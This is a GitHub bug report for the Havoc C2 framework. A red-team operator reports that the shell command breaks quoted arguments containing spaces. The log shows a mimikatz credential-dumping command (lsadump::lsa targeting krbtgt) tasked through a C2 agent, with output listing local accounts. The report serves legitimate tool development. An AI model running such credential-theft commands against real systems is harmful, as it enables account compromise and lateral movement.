[Teamserver-Client--Bug]: Shell command bug

Contact Details

No response

What happened?

I am working on Havoc C2 for Red Team Operations and found something unusual -

Whenever I execute shell command or dotnet inline-execute, It always take spacebar as next line and yeah - I know that. But if we run any executable like mimikatz.exe after uploading and using Shell command - It'll break even after specifying double-quotes.

Here I provided Screenshot - Kindly check, I provided double quotes and still it not working !!

EDIT: I tried semi-colon, single quote & double quotes too !!

As I can imagine, It'll be challenging for users to run complex commands or executables because there's many required scripts or tools which take Space in between example xyz.exe /user Administrator /password password1234

I request to look same for dotnet inline-execute and execute as these two are important, same as shell command.

This Space in between can break stuff !!

EDIT 2: I also noticed that dotnet execute having some issues.

Hope you understood

Thanks for your time

havoc

Did You Do a Pull First?

Latest (You performed a pull first)

Did You Try With the Dev Branch?

Yes (You tried using the dev branch but the problem persist)

Relevant log output

shell mimikatz privilege::debug "lsadump::lsa /inject /name:krbtgt" exit
[*] [C3D78BF1] Tasked demon to execute a shell command
[+] Send Task to Agent [228 bytes]
[+] Received Output [2935 bytes]:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::lsa
Domain : DESKTOP-CJ2JH5D / S-1-5-21-1515082279-4082070643-2923322782

RID  : 000001f4 (500)
User : Administrator
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f7 (503)
User : DefaultAccount
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f5 (501)
User : Guest
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000003e9 (1001)
User : 
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f8 (504)
User : WDAGUtilityAccount
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

mimikatz(commandline) # /inject
ERROR mimikatz_doLocal ; "/inject" command of "standard" module not found !

Module :    standard
Full name : Standard module
Description :   Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file input/output base64
         version  -  Display some version informations
              cd  -  Change or display current directory
       localtime  -  Displays system local date and time (OJ command)
        hostname  -  Displays system local hostname

mimikatz(commandline) # /name:krbtgt
ERROR mimikatz_doLocal ; "/name:krbtgt" command of "standard" module not found !

Module :    standard
Full name : Standard module
Description :   Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file input/output base64
         version  -  Display some version informations
              cd  -  Change or display current directory
       localtime  -  Displays system local date and time (OJ command)
        hostname  -  Displays system local hostname

mimikatz(commandline) # exit
Bye!

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HavocFramework / Havoc